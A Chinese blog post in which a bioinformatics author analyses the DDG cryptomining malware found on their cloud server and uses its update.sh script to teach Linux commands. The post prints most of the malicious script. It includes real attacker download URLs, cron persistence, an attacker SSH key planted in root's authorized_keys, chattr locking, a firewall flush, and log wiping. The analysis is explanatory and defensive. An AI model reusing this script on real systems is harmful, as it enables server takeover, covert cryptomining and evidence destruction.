前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从一段挖矿病毒代码看Linux命令的实际应用

从一段挖矿病毒代码看Linux命令的实际应用

作者头像
生信宝典
修改2019-07-12 10:19:35
6.5K1
修改2019-07-12 10:19:35
举报
文章被收录于专栏:生信宝典生信宝典

最近做易生信培训时新购了一块阿里云,用于演示分析流程搭建和配置。短期使用,上面没有数据,也没做什么防范,结果不曾想,被挖矿病毒盯上了,给了一个近距离接触病毒的机会。

这是一款LinuxWindows通吃的病毒,起名为DDG挖矿病毒,目的是利用被侵入的计算机的资源协助自己挖矿,获取虚拟货币。该病毒从去年一直活跃在现在,已经挖取了价值一千多万人民币的虚拟币货币。并且在一年左右的时间,已开发出了DDG.3012/DDG3013/DDG3020多个变种版本。

下面就记述下病毒的发现、清理和认识过程,一路下来可以给我们的Linux命令学习提供很多知识点。这里面大部分操作都在生信宝典的Linux系列教程有提及,也是我们常用的提高效率的方式。

怎么发现服务器中病毒了呢?最直接的提示是阿里云的邮件:

代码语言:javascript
复制
您的云服务器(11.11.11.11)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问,阻断预计将在2019-06-30 11:26:49时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后,感谢您对阿里云的支持。

阿里云计算有限公司

这也显示了购买云服务器的好处,安全配套,及时发现问题。

看到这个提示后,登录服务器,top一下:

发现两个进程sysupdatenetworkservice,看名字,还以为是Linux系统什么时候学会Windows的自动升级了。再看用户,不对,普通用户,没有权限进行系统升级和网络控制,那么怀疑是病毒

谷歌一下,确实是。

下一步就是去定位病毒。

首选运行locate sysupdate,发现找不到文件。于是想着可能在/tmp下 (locate默认未索引这个目录),使用find /tmp -name sysupdate发现了程序,sysupdate, 同时还有 sysguard, networkservice, update.sh。除了update.sh都是二进制文件,应该是挖矿的主程序和守护进程。(find是个好工具,具体使用见文后链接)

下面重点分析下update.sh,根据病毒入侵后的操作,学习下Linux系统命令的使用。

破坏安全防护

病毒第一步是尝试关闭SELinux子系统。SELinux是安全增强型 Linux(Security-Enhanced Linux),它是一个Linux内核模块,也是Linux的一个安全子系统。主要由美国国家安全局开发。2.6 及以上版本的 Linux 内核都已经集成了 SELinux 模块。SELinux 的结构及配置非常复杂,而且有大量概念性的东西,要学精难度较大。很多Linux系统管理员嫌麻烦都把SELinux关闭了,病毒也不需要费这个事了。

代码语言:javascript
复制
#!/bin/sh
# 病毒第一步是尝试关闭`SELinux`子系统。
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

释放缓存,获得更多计算资源

代码语言:javascript
复制
# # echo 1 > /proc/sys/vm/drop_caches; free pagecache, use
# echo 2 > /proc/sys/vm/drop_caches; free dentries and inodes
# echo 3 > /proc/sys/vm/drop_caches; free pagecache, dentries and inodes

注意:使用之前需要先sync,将缓存刷到磁盘中。
sync && echo 3 >/proc/sys/vm/drop_caches

定义一些变量,扰乱系统程序

这些变量后面再说是做什么,这里重命名了一些程序如wget, curl等,初步认为是为了干扰其它挖矿程序。

还好这次攻破的是普通用户,没有攻破root用户,所以这些修改都因为权限问题未能生效,不然系统用起来会很怪。

这里建议大家:密码一定设置的复杂一些!!!。

代码语言:javascript
复制
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

# 挖矿程序的原始路径
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"

同行是冤家,杀掉其它挖矿程序

不只是相声领域,挖矿领域同行也是冤家,先把其它挖矿程序杀掉,不要抢自己的资源。

生信这个小领域也是,某论坛先邀请大家都发帖支持论坛,后又无缘由的偷偷封杀账号,把大家辛苦发的帖子都清空。其实合作起来提供更好的知识才有意义。

代码语言:javascript
复制
kill_miner_proc()
{
    # ps获取运行的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉
    # 如果大家看到自己电脑有这些程序,也都清除下,都是病毒
    # 源代码有近百个病毒进程的清除,这里只列一部分
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
  ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f
    pkill -f biosetjenkins
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno

    crontab -r
    rm -rf /var/spool/cron/*
}

下载自己的挖矿程序和守护程序

这里是先定义一个函数,后面调用。里面主要是wget, curl程序的判断和运行下载。

代码语言:javascript
复制
downloads()
{
    if [ -f "/usr/bin/curl" ]
    then
        echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        # 网页返回代码是否为200,200表示成功
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/cur" ]
    then
        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        else
            cur --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
    then
        wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/wge" ]
    then
        wge --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            wge --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

杀掉其它占资源的程序

代码语言:javascript
复制
kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
            # 如果是自己的程序sysguard|update.sh|sysupdate|networkservice, $? == 0
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

调用函数

代码语言:javascript
复制
kill_miner_proc
kill_sus_proc

定时执行,免密登录

下面这段代码比较长,先判断自己是不是根用户,如果是后续的下载都存储在/etc目录下,如果不是,都放在/tmp目录下。

然后设置定时任务,主要是 echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir},利用crontab,每30分钟运行一次update.sh。所以只是简单的停掉程序,没有用。删除不完全也没用,必须把这个定时任务清空。

下一步配置/root/.ssh/authorized_keys,免密码登录服务器,实现对服务器的长期霸占。(这是我们常用的登录服务器的方式,具体可以见文后教程)

然后下载挖矿的配置文件config.json, 挖矿程序sysupdate, networkservice,根据文件大小判断是不是自己的程序,然后启动程序。

代码语言:javascript
复制
if [ -f "$rtdir" ]
then
        echo "i am root"
        echo "goto 1" >> /etc/sysupdate
        chattr -i /etc/sysupdate*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
        chattr -i /etc/networkservice
    if [ ! -f "/usr/bin/crontab" ]
        then
            echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
        else
            [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
    fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys


        cfg="/etc/config.json"
        file="/etc/sysupdate"

    if [-f "/etc/config.json" ]
    then
        filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
        if [ "$filesize_config" -ne "$config_size" ]
        then
            pkill -f sysupdate
            rm /etc/config.json
            downloads $config_url /etc/config.json $config_url_backup
        else
            echo "no need download"
        fi
    else
        downloads $config_url /etc/config.json $config_url_backup
    fi

    if [ -f "/etc/sysupdate" ]
    then
            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ]
            then
                pkill -f sysupdate
                rm /etc/sysupdate
                downloads $miner_url /etc/sysupdate $miner_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $miner_url /etc/sysupdate $miner_url_backup
    fi

    if [ -f "/etc/sysguard" ]
    then
            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ]
            then
                pkill -f sysguard
                rm /etc/sysguard
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /etc/sysguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/update.sh $sh_url_backup

    if [ -f "/etc/networkservice" ]
    then
            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ]
            then
                pkill -f networkservice
                rm /etc/networkservice
                downloads  $scan_url /etc/networkservice $scan_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $scan_url /etc/networkservice $scan_url_backup
    fi

    chmod 777 /etc/sysupdate
    ps -fe|grep sysupdate |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not root runing"
                sleep 5s
                ./sysupdate &
    else
                echo "root runing....."
    fi
    chmod 777 /etc/networkservice
    ps -fe|grep networkservice |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not roots runing"
                sleep 5s
                ./networkservice &
    else
                echo "roots runing....."
    fi
    chmod 777 /etc/sysguard
    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /etc
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "roots runing....."
        fi

    # chmod针对用户或组修改属性
    # chattr 修改的属性适用于所有人,+i 表示文件不能被修改
    # 所以虽然看上去是777,但要想删除,却不是很直接的事,得先chattr -i file 之后再删除
    chmod 777 /etc/sysupdate
    chattr +i /etc/sysupdate
    chmod 777 /etc/networkservice
      chattr +i /etc/networkservice
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/update.sh
    chattr +i /etc/update.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys
else
    省略...
fi

修改防火墙配置

代码语言:javascript
复制
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

清理操作痕迹

清理的清理,清空的清空

代码语言:javascript
复制
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

整个操作下来还是很溜的,而且很严谨,保证了资源的独占性和操作记录不被发现。

挖矿程序的反编译见:http://m.simpreme.com/eevpuh.html。

病毒都这么努力的做好自己的工作的时候,我们有什么理由不好好学好Linux,尤其是做生物信息的朋友,这是基本功。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-11 10:25:00,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 生信宝典 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 破坏安全防护
  • 释放缓存,获得更多计算资源
  • 定义一些变量,扰乱系统程序
  • 同行是冤家,杀掉其它挖矿程序
  • 下载自己的挖矿程序和守护程序
  • 杀掉其它占资源的程序
  • 调用函数
  • 定时执行,免密登录
  • 修改防火墙配置
  • 清理操作痕迹
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档